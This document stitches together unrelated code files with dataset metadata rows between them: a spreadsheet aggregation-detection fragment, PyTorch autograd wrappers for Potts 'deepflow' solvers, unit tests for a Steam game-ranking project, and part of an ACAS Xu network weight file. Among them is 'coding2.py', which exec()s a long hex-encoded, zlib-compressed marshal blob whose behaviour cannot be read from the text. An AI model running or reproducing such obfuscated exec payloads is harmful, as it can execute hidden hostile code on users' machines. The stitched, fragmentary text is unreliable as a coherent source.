collected_results.append((aggregator, aggregatees, operator, AggregationDirection.ROW_WISE.value))
_file.aggregation_detection_result[number_format] = collected_results
end_time = time.time()
exec_time = end_time - start_time
_file.exec_time['RowWiseDetection'] = exec_time
return _file
def detect_column_wise_aggregations(self):
start_time = time.time()
_file = deepcopy(self.file)
_file.aggregation_detection_result = {}
error_level = self.error_level_setting[self.operator]
for number_format, formatted_file_values in _file.valid_number_formats.items():
# Todo: just for fair timeout comparison
if number_format != _file.number_format:
continue
numeric_line_indices = _file.numeric_line_indices[number_format]
file_cells = np.full_like(formatted_file_values, fill_value=formatted_file_values, dtype=object)
for index, value in np.ndenumerate(formatted_file_values):
file_cells[index] = Cell(CellIndex(index[0], index[1]), value)
forests_by_columns = [AggregationRelationForest(file_cells[:, i]) for i in range(file_cells.shape[1])]
forest_by_column_index = {}
for index, forest in enumerate(forests_by_columns):
forest_by_column_index[index] = forest
ar_cands_by_column = [(self.detect_proximity_aggregation_relations(forest, error_level), forest) for forest in
forests_by_columns]
# get all non empty ar_cands
ar_cands_by_column = list(filter(lambda x: bool(x[0]), ar_cands_by_column))
if not ar_cands_by_column:
collected_results = []
else:
self.mend_adjacent_aggregations(ar_cands_by_column, formatted_file_values, error_level, axis=1)
forest_indexed_by_ar_cand = {}
for ar_cands, forest in ar_cands_by_column:
for ar_cand in ar_cands:
forest_indexed_by_ar_cand[ar_cand[0]] = forest
ar_cands_by_column, forests_by_columns = list(zip(*ar_cands_by_column))
ar_cands_by_row_index = prune_conflict_ar_cands(ar_cands_by_column, numeric_line_indices, self.coverage, axis=1)
ar_cands_by_row_index = {k: v for k, v in ar_cands_by_row_index.items() if
len(numeric_line_indices[0][str(k[0])]) > 0 and
len(v) / len(numeric_line_indices[0][str(k[0])]) >= self.coverage}
collected_results = []
if bool(ar_cands_by_row_index):
for _, ar_cands in ar_cands_by_row_index.items():
for ar_cand in ar_cands:
aggregator = str(ar_cand.aggregator.cell_index)
aggregatees = [str(aggregatee.cell_index) for aggregatee in ar_cand.aggregatees]
operator = ar_cand.operator
collected_results.append((aggregator, aggregatees, operator, AggregationDirection.COLUMN_WISE.value))
_file.aggregation_detection_result[number_format] = collected_results
end_time = time.time()
exec_time = end_time - start_time
_file.exec_time['ColumnWiseDetection'] = exec_time
return _file | 49.75945 | 140 | 0.632044 | 1,782 | 14,480 | 4.725028 | 0.081369 | 0.080641 | 0.064133 | 0.042755 | 0.927791 | 0.907482 | 0.876485 | 0.867696 | 0.866508 | 0.854157 | 0 | 0.005578 | 0.294337 | 14,480 | 291 | 141 | 49.75945 | 0.818458 | 0.030732 | 0 | 0.771429 | 0 | 0 | 0.004992 | 0 | 0 | 0 | 0 | 0.003436 | 0 | 1 | 0.019048 | false | 0 | 0.047619 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9db090d9164986b76946a0cc1926ca061841eb46 | 6,336 | py | Python | pytorch/potts_deepflow.py | JSHBaxter/DeepFlow | aff9ebff59a96289918a7efabddab4c38872f7b9 | [
"Unlicense"
] | null | null | null | pytorch/potts_deepflow.py | JSHBaxter/DeepFlow | aff9ebff59a96289918a7efabddab4c38872f7b9 | [
"Unlicense"
] | null | null | null | pytorch/potts_deepflow.py | JSHBaxter/DeepFlow | aff9ebff59a96289918a7efabddab4c38872f7b9 | [
"Unlicense"
] | null | null | null | import torch
import deepflow
import sys
class Potts_MAP1d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx):
if len(d.shape) == 3 and len(rx.shape) == 3:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_auglag_1d_forward(d,rx, output)
else:
deepflow.potts_cpu_auglag_1d_forward(d,rx, output)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 1D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defined backwards
@staticmethod
def backward(ctx, grad_output):
grad_input = grad_output.clone()
grad_input *= 0
return grad_input
class Potts_MAP2d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx, ry):
if len(d.shape) == 4 and len(rx.shape) == 4 and len(ry.shape) == 4:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_auglag_2d_forward(d,rx, ry, output)
else:
deepflow.potts_cpu_auglag_2d_forward(d,rx, ry, output)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 2D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defined backwards
@staticmethod
def backward(ctx, grad_output):
grad_input = grad_output.clone()
grad_input *= 0
return grad_input
class Potts_MAP3d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx, ry, rz):
if len(d.shape) == 5 and len(rx.shape) == 5 and len(ry.shape) == 5 and len(rz.shape) == 5:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_auglag_3d_forward(d,rx, ry, rz, output)
else:
deepflow.potts_cpu_auglag_3d_forward(d,rx, ry, rz, output)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 3D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defind backwards
@staticmethod
def backward(ctx, grad_output):
grad_input = grad_output.clone()
grad_input *= 0
return grad_input
class Potts_Mean1d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx):
if len(d.shape) == 3 and len(rx.shape) == 3:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_meanpass_1d_forward(d,rx, output)
else:
deepflow.potts_cpu_meanpass_1d_forward(d,rx, output)
ctx.save_for_backward(output,d,rx)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 1D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defind backwards
@staticmethod
def backward(ctx, grad_output):
u,d,rx, = ctx.saved_tensors
grad_d = torch.zeros(d.size(), dtype=d.dtype, device=d.device).contiguous()
grad_rx = torch.zeros(rx.size(), dtype=rx.dtype, device=rx.device).contiguous()
if d.is_cuda:
deepflow.potts_gpu_meanpass_1d_backward(grad_output, u, rx, grad_d, grad_rx)
else:
deepflow.potts_cpu_meanpass_1d_backward(grad_output, u, rx, grad_d, grad_rx)
return grad_d, grad_rx
class Potts_Mean2d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx, ry):
if len(d.shape) == 4 and len(rx.shape) == 4 and len(ry.shape) == 4:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_meanpass_2d_forward(d,rx, ry, output)
else:
deepflow.potts_cpu_meanpass_2d_forward(d,rx, ry, output)
ctx.save_for_backward(output,d,rx,ry)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 2D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defind backwards
@staticmethod
def backward(ctx, grad_output):
u,d,rx,ry, = ctx.saved_tensors
grad_d = torch.zeros_like(d)
grad_rx = torch.zeros_like(rx)
grad_ry = torch.zeros_like(ry)
grad_output = grad_output.clone()
if d.is_cuda:
deepflow.potts_gpu_meanpass_2d_backward(grad_output, u, rx, ry, grad_d, grad_rx, grad_ry)
else:
deepflow.potts_cpu_meanpass_2d_backward(grad_output, u, rx, ry, grad_d, grad_rx, grad_ry)
return grad_d, grad_rx, grad_ry
class Potts_Mean3d(torch.autograd.Function):
@staticmethod
def forward(ctx, d, rx, ry, rz):
if len(d.shape) == 5 and len(rx.shape) == 5 and len(ry.shape) == 5 and len(rz.shape) == 5:
output = torch.zeros_like(d)
if d.is_cuda:
deepflow.potts_gpu_meanpass_3d_forward(d,rx, ry, rz, output)
else:
deepflow.potts_cpu_meanpass_3d_forward(d,rx, ry, rz, output)
ctx.save_for_backward(output,d,rx,ry,rz)
return output
else:
sys.stderr.write("Gave enough smoothness terms for 3D deepflow, but wrong dimensionality. \n")
return
#For the optimisers, there is no well defind backwards
@staticmethod
def backward(ctx, grad_output):
u,d,rx,ry,rz, = ctx.saved_tensors
grad_d = torch.zeros_like(d)
grad_rx = torch.zeros_like(rx)
grad_ry = torch.zeros_like(ry)
grad_rz = torch.zeros_like(rz)
grad_output = grad_output.clone()
if d.is_cuda:
deepflow.potts_gpu_meanpass_3d_backward(grad_output, u, rx, ry, rz, grad_d, grad_rx, grad_ry, grad_rz)
else:
deepflow.potts_cpu_meanpass_3d_backward(grad_output, u, rx, ry, rz, grad_d, grad_rx, grad_ry, grad_rz)
return grad_d, grad_rx, grad_ry, grad_rz
| 39.111111 | 115 | 0.590751 | 846 | 6,336 | 4.219858 | 0.088652 | 0.020168 | 0.022409 | 0.022689 | 0.939496 | 0.934734 | 0.907283 | 0.878992 | 0.85042 | 0.802521 | 0 | 0.011811 | 0.318497 | 6,336 | 162 | 116 | 39.111111 | 0.814961 | 0.050505 | 0 | 0.708955 | 0 | 0 | 0.075897 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089552 | false | 0.089552 | 0.022388 | 0 | 0.291045 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
9db87f9b264faf1a68648c3016a757dd02424c3f | 2,502 | py | Python | coding2.py | tukangpulug199/reebox | 48303c879a23a4c60579333654bbcabc753854f4 | [
"Apache-2.0"
] | null | null | null | coding2.py | tukangpulug199/reebox | 48303c879a23a4c60579333654bbcabc753854f4 | [
"Apache-2.0"
] | null | null | null | coding2.py | tukangpulug199/reebox | 48303c879a23a4c60579333654bbcabc753854f4 | [
"Apache-2.0"
] | null | null | null | import marshal,zlib,base64
exec(marshal.loads(zlib.decompress(base64.b16decode("789CAD566D57E344149E941668815D5657175D5F6641DD728E16D2F0FEBAB0C0A252760FC545793971DA0C6D6892E96626073827FA65FDE61F50FF89BFC3EFFE113FAC7327695A44145927CDCD73E7DEFBCCCD64EE4CAB286E29793F92377FA52164C99F861C84F613ACA17DAD8553683FD5C25D68BF4BE11460378DF6D348BBD2AF0BFD204933E86C12D16EE4FF84680FB2D2E8A564EF45B4175919D44821FF476475A3279BCF5E58C8EA91C0EA95422A7B14A1932CB2B210A15939D94B33C8EA532AA0FE040D24E856826E27683022B803DC6F807813C45DE0CB21EB2D95501FA26964BD1D79DE4DEC7DC8BAA792F435F01D52BEFDCAF79D84FFDD04DD4FD07B097A3F4232E203853C8480F64345FB4707ED4007AD85E3B7C509CF83040D276824411F25E8E3047D92A087EDF70235DF4A447EAB727E542E04FB956CDB79B91A90C8C0C270286D56B578A974C9FB31F4C29A399B45A18ABCB776F419FA4E43427E260D9DA450A829DE58EF422F9154D2B058A0FB451FDA93CBA39C07B66D0EDCB9DA2F3F43FB75390F830AB0F0732EBAE1292C160895CCA96F0BAAD0B113F0FA0EACE03CE42534E508B29A57BD203898AC9A0A38210EF17AA11304D2EE6883DA80C68724BE7F604CCFEBEE96CDA9C76D3C27F5A2D4B18ADBD22727749E9368957AC42F405386B224ACF38D285E97FE5FD80D82776D8B34F02E09708B6ED5E604EFD589E02BCD265E09449DF9F188787CC698999E999E9A9835A61469D5A1C4E7BFB793C226347CA1FD45859E5C88C13334C10801A0E050459A89943DF29903031EC3E6B73894D294373EC40F414450C9108C638A37C479205352F987E6A852DB12E3855C08E643D3FCD40CA5340F553E05F00718CB108C8739BED69EB7C54B2D7EF7E7D4E736F3B05E285EE9CA0D45343E6F4CB907B1D7F7B17EA49E45379E748CE7F04AD5767099128FEBD788FB8605BB4185CAB8D20E9E908D2F5C23EA892DEA410546DB14A2C9E7C6C66AAAA750652EDFFC4702631C3E79396836992F6058BFB04AC544289F5BC413C68E0750F78E59693C98E48FAF3189BB4F9F6E9571697DFBABABE770EC72527A47520624B541AAB4C218AC6DBF46052F5E8E29FE4B0C7EAEF3DB1D61E34778FDCC1642952A8EDE050A2F1FF32DC7FAA87C4E005FCD50EDB7655B95FB701432254D25C28306F1F0E76BADB16415EBF386E1621B6A978FB44BEA19E1FC94F9962A7408C6BECD1BA4461D9BC753A1FCD65D22178B6C891F814DA45E50EE8FCE499D31F54D87DB31AB368B2A722E7E07BCCD04DE60816775BA7DC93C21B789BF73B3611BB061E3E2EB51004C65897A555621B8957B6B77585C5C6AED569C9C13AFD6E283B6B8F8358E76A9FFC6D4207E25F08950FB941E196FCAE43402E7FF606AC25E50D1670DE3F573E281DF394DAF97D309D1678B33496DDD8CC9623EA12EF3DA69DD94E9847A1675485C62D1DB2D617574C55BA52AA58378498FC4FA513C7289BA4D9F71CA65885F275C16C083FC2D38606145B2E840F68967317747FD454883B05DAA8EE29D9E56D7AE1F509155BEA7A6ED35E3F3DB8133313AD4E5E14E5DD5D9360BC61CAE467249D411C888F6797EE15087637CC16556E0D025B51D1C4BD1AF45D7A03694CAF66415CE68E95446CB6A03998C96EBB832F1D51FE154BF42AD6B20D62FC644717F0275648E00"))))
| 834 | 2,474 | 0.992806 | 12 | 2,502 | 207 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.617047 | 0.001199 | 2,502 | 2 | 2,475 | 1,251 | 0.376951 | 0 | 0 | 0 | 0 | 0 | 0.965628 | 0.965628 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 12 |
d1df70b0ade7b6739f410ca209afc2d8c09b2068 | 18,222 | py | Python | test_.py | woctezuma/hidden-gems | 87ca6bddbe2c8a25d02ae12a9648a1b160705c33 | [
"MIT"
] | 38 | 2017-06-23T20:46:42.000Z | 2022-03-22T18:29:16.000Z | tests.py | liakman/hidden-gems | d5589f1f28da3c4ecd3685d8c01e966ab7d50381 | [
"MIT"
] | 53 | 2017-11-22T11:32:48.000Z | 2022-02-01T19:45:18.000Z | tests.py | liakman/hidden-gems | d5589f1f28da3c4ecd3685d8c01e966ab7d50381 | [
"MIT"
] | 2 | 2017-06-28T05:15:13.000Z | 2020-12-23T10:59:43.000Z | import unittest
import appids
import compute_bayesian_rating
import compute_regional_stats
import compute_stats
import compute_wilson_score
import create_dict_using_json
class TestAppidsMethods(unittest.TestCase):
def test_main(self):
self.assertTrue(appids.main())
class TestComputeWilsonScoreMethods(unittest.TestCase):
def test_compute_wilson_score(self):
wilson_score_value = compute_wilson_score.compute_wilson_score(num_pos=90, num_neg=10, confidence=0.975)
self.assertGreater(wilson_score_value, 0)
def test_main(self):
self.assertTrue(compute_wilson_score.main())
class TestComputeBayesianRatingMethods(unittest.TestCase):
def test_choose_prior(self):
observations = {'Blockbuster': {'score': 0.85, 'num_votes': 1000},
'Average game': {'score': 0.75, 'num_votes': 100},
'Hidden gem': {'score': 0.95, 'num_votes': 10}}
bayes_prior = compute_bayesian_rating.choose_prior(observations, verbose=True)
self.assertDictEqual(bayes_prior, {'score': 0.85, 'num_votes': 100})
def test_main(self):
self.assertTrue(compute_bayesian_rating.main())
class TestCreateDictUsingJsonMethods(unittest.TestCase):
def test_main(self):
self.assertTrue(create_dict_using_json.main())
class TestComputeRegionalStatsMethods(unittest.TestCase):
def test_run_regional_workflow_wilson_reviews(self):
quality_measure_str = 'wilson_score' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_reviews' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=False))
def test_run_regional_workflow_wilson_owners(self):
quality_measure_str = 'wilson_score' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_owners' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=False))
def test_run_regional_workflow_bayes_reviews(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_reviews' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=True))
def test_run_regional_workflow_bayes_owners(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_owners' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=True,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=True))
def test_run_regional_workflow_bayes_reviews_with_hidden_gem_constant_prior(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_reviews' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=False))
def test_run_regional_workflow_bayes_owners_with_hidden_gem_constant_prior(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_owners' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=True,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=False,
compute_language_specific_prior=False))
def test_run_regional_workflow_bayes_reviews_with_global_constant_prior(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_reviews' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=True,
compute_language_specific_prior=False))
def test_run_regional_workflow_bayes_owners_with_global_constant_prior(self):
quality_measure_str = 'bayesian_rating' # Either 'wilson_score' or 'bayesian_rating'
popularity_measure_str = 'num_owners' # Either 'num_reviews' or 'num_owners'
self.assertTrue(compute_regional_stats.run_regional_workflow(quality_measure_str=quality_measure_str,
popularity_measure_str=popularity_measure_str,
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=True,
keywords_to_include=None,
keywords_to_exclude=None,
load_from_cache=True,
compute_prior_on_whole_steam_catalog=True,
compute_language_specific_prior=False))
class TestComputeStatsMethods(unittest.TestCase):
def test_run_workflow_wilson_reviews(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=True))
def test_run_workflow_wilson_owners(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_owners',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=True))
def test_run_workflow_bayes_reviews(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='bayesian_rating',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=True))
def test_run_workflow_bayes_owners(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='bayesian_rating',
popularity_measure_str='num_owners',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=True))
def test_run_workflow_filtering_in(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=True,
language=None,
keywords_to_include=["Early Access", "Free To Play"],
keywords_to_exclude=None))
def test_run_workflow_while_removing_reference_hidden_gems(self):
create_dict_using_json.main()
# A dictionary will be stored in the following text file
dict_filename = "dict_top_rated_games_on_steam.txt"
import ast
# Import the local dictionary from the input file
with open(dict_filename, 'r', encoding="utf8") as infile:
lines = infile.readlines()
# The dictionary is on the second line
# noinspection PyPep8Naming
D = ast.literal_eval(lines[1])
for appid in appids.appid_hidden_gems_reference_set:
print('Ensuring reference {} (appID={}) does not appear in the final ranking.'.format(D[appid][0], appid))
D[appid][-1] = False
# If True, UnEpic should end up about rank 1828. Otherwise, UnEpic should not appear on there.
# Save the dictionary to a text file
with open(dict_filename, 'w', encoding="utf8") as outfile:
print(create_dict_using_json.get_leading_comment(), file=outfile)
print(D, file=outfile)
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=2000,
verbose=True,
language=None,
keywords_to_include=["Action", "Indie", "RPG"],
keywords_to_exclude=None))
def test_run_workflow_filtering_in_unknown_tag(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=False,
language=None,
keywords_to_include=["Rogue-Like"],
keywords_to_exclude=None))
def test_run_workflow_filtering_out(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_reviews',
perform_optimization_at_runtime=False,
num_top_games_to_print=50,
verbose=False,
language=None,
keywords_to_include=None,
keywords_to_exclude=["Visual Novel", "Anime"]))
def test_run_workflow_wilson_owners_optimized_at_runtime(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.run_workflow(quality_measure_str='wilson_score',
popularity_measure_str='num_owners',
perform_optimization_at_runtime=True,
num_top_games_to_print=50,
verbose=False))
def test_main(self):
create_dict_using_json.main()
self.assertTrue(compute_stats.main())
if __name__ == '__main__':
unittest.main()
| 61.979592 | 118 | 0.472122 | 1,456 | 18,222 | 5.427885 | 0.118819 | 0.083513 | 0.070986 | 0.049475 | 0.811717 | 0.789953 | 0.775528 | 0.754271 | 0.737062 | 0.724915 | 0 | 0.008333 | 0.47975 | 18,222 | 293 | 119 | 62.191126 | 0.825316 | 0.051202 | 0 | 0.72 | 0 | 0 | 0.039558 | 0.001911 | 0 | 0 | 0 | 0 | 0.106667 | 1 | 0.106667 | false | 0 | 0.035556 | 0 | 0.168889 | 0.088889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ae20bd29af39b7101293c6e155b6dcd31c7cb89b | 381,099 | pyt | Python | eran/NNet/nnet/ACASXU_run2a_5_6_batch_2000_16bit.pyt | pauls658/ReluDiff-ICSE2020-Artifact | 212854fe04f482183c239e5dfec70106a9a83df8 | [
"Apache-2.0"
] | 7 | 2020-01-27T21:25:49.000Z | 2022-01-07T04:37:37.000Z | eran/NNet/nnet/ACASXU_run2a_5_6_batch_2000_16bit.pyt | yqtianust/ReluDiff-ICSE2020-Artifact | 149f6efe4799602db749faa576980c36921a07c7 | [
"Apache-2.0"
] | 1 | 2022-01-25T17:41:54.000Z | 2022-01-26T02:27:51.000Z | eran/NNet/nnet/ACASXU_run2a_5_6_batch_2000_16bit.pyt | yqtianust/ReluDiff-ICSE2020-Artifact | 149f6efe4799602db749faa576980c36921a07c7 | [
"Apache-2.0"
] | 3 | 2020-03-14T17:12:17.000Z | 2022-03-16T09:50:46.000Z | ReLU
[[0.059164, -1.1757, 1.21564, -0.0726698, 0.116417], [0.00496864, -0.849156, -1.31311, 0.0545818, -0.0372641], [1.01748, 0.00616562, 0.0015164, 0.00210456, -0.000976713], [0.238636, -0.432768, -0.0817615, -0.495618, -0.15586], [-0.508983, -0.122045, -0.0110389, -0.557128, 0.440801], [0.134881, -1.38862, 1.10934, 0.147943, -0.0223236], [0.0305872, -0.643581, -0.520648, -0.391018, 0.404277], [0.0946407, 1.73701, -0.95343, 0.114372, -0.00909536], [0.0312737, -1.26848, 1.22054, 0.0285429, 0.0319702], [0.0343047, 1.13226, -1.31143, -0.138004, 0.30217], [0.312429, -0.493322, 0.212397, 0.201774, -0.528876], [0.0487843, 1.949, -0.0305184, 0.0268056, -0.351128], [1.65928, 0.00250366, 0.00284838, 0.00392054, -0.00222958], [0.0412567, 0.187833, -0.0817485, -0.138959, -0.640552], [0.0682388, -1.91589, 1.72245, -0.41, 0.64961], [0.198258, -0.876802, 1.16399, 0.350686, 0.238605], [-0.000132553, -0.00318701, 0.00151568, 0.0193423, 0.00125252], [0.0443018, 0.961089, 0.0788181, 0.44496, -0.612375], [0.0137437, 1.3348, -1.43947, -0.144797, 0.147103], [-0.374757, -1.72101, 1.99099, -0.218012, 0.499421], [0.0736526, 0.54118, 0.174595, -0.0521366, -0.0388171], [0.0118766, -0.0376572, 0.0759493, -0.0156098, -2.04609], [-0.0171179, 0.530672, 0.789343, 0.280142, -0.262025], [-0.00283709, 0.0920685, -0.14028, 0.709291, -0.944632], [-0.244492, 0.015482, 0.0108239, 0.232647, 0.300051], [0.0374497, -1.3795, -0.00155704, 0.0658814, -0.401481], [-0.150919, -1.27278, -0.359526, 0.392511, -0.199041], [0.186451, 1.82523, -2.42961, -0.023838, 0.119445], [0.0186544, 0.161013, -0.179747, 0.612398, -1.11415], [0.000998782, -0.0177105, 0.000124657, -0.00224546, -0.00726662], [-0.148364, 1.36548, -0.802654, 0.0886384, -0.245283], [0.00650336, -1.1918, 1.13433, -0.249628, 0.0720713], [0.359214, -1.24084, 0.0124603, 0.426131, -0.641387], [0.000478771, -0.000125124, -0.00355663, -0.0181285, -0.00133378], [0.0409676, -0.593913, 0.617879, 0.0742988, -0.251982], [-0.0244531, -2.29928, -0.00677021, 0.0010641, -0.00170705], [-0.413681, 0.11466, 0.00479458, 0.135634, -1.11716], [-0.396296, 1.5659, -1.84165, -0.215622, 0.555255], [-0.0417368, -0.0254334, -0.101588, -1.1233, 0.0106559], [-0.749128, -0.0163725, -0.00529582, -0.00474022, -0.306294], [0.165873, 0.911244, -0.1629, 0.206966, -0.300112], [0.00696531, 0.0142082, -0.00391414, 0.000844868, 0.0121479], [-0.0265549, 0.927169, 0.898432, 0.460475, -0.0244901], [-0.0790773, -1.19376, 0.917156, 0.00588883, -0.431247], [0.13296, -0.265007, 1.36802, -0.133023, 0.280813], [0.15191, 1.67352, -1.66337, 0.317483, -0.233479], [-1.45436, 0.0352326, -0.00206217, 0.00542346, -0.0284818], [-0.193686, -0.00718025, -0.149012, -1.03063, 0.89216], [-0.282946, -1.44869, 1.62338, -0.259563, 0.477329], [-0.0153829, 1.76436, 0.0251001, 0.0199051, -0.0439073], [0.05917, -1.176, 1.216, -0.0727, 0.1164], [0.004967, -0.849, -1.313, 0.0546, -0.03726], [1.018, 0.006165, 0.001516, 0.002104, -0.000977], [0.2386, -0.4329, -0.0818, -0.4956, -0.1559], [-0.509, -0.1221, -0.01104, -0.557, 0.441], [0.1349, -1.389, 1.109, 0.148, -0.02232], [0.0306, -0.6436, -0.5205, -0.391, 0.4043], [0.09467, 1.737, -0.9536, 0.1144, -0.009094], [0.03128, -1.269, 1.221, 0.02855, 0.03198], [0.0343, 1.132, -1.312, -0.1381, 0.3022], [0.3125, -0.4934, 0.2124, 0.2018, -0.529], [0.0488, 1.949, -0.03052, 0.02681, -0.351], [1.659, 0.002504, 0.002848, 0.00392, -0.00223], [0.04126, 0.1879, -0.0817, -0.1389, -0.6406], [0.06824, -1.916, 1.723, -0.41, 0.6494], [0.1982, -0.877, 1.164, 0.3506, 0.2386], [-0.0001326, -0.003187, 0.001515, 0.01935, 0.001252], [0.0443, 0.961, 0.0788, 0.445, -0.6123], [0.01374, 1.335, -1.439, -0.1448, 0.1471], [-0.3748, -1.721, 1.991, -0.218, 0.4995], [0.07367, 0.541, 0.1746, -0.05212, -0.03882], [0.01188, -0.03766, 0.0759, -0.01561, -2.047], [-0.01712, 0.531, 0.7896, 0.28, -0.262], [-0.002836, 0.09204, -0.1403, 0.7095, -0.945], [-0.2445, 0.01548, 0.010826, 0.2327, 0.3], [0.03745, -1.38, -0.001557, 0.06586, -0.4014], 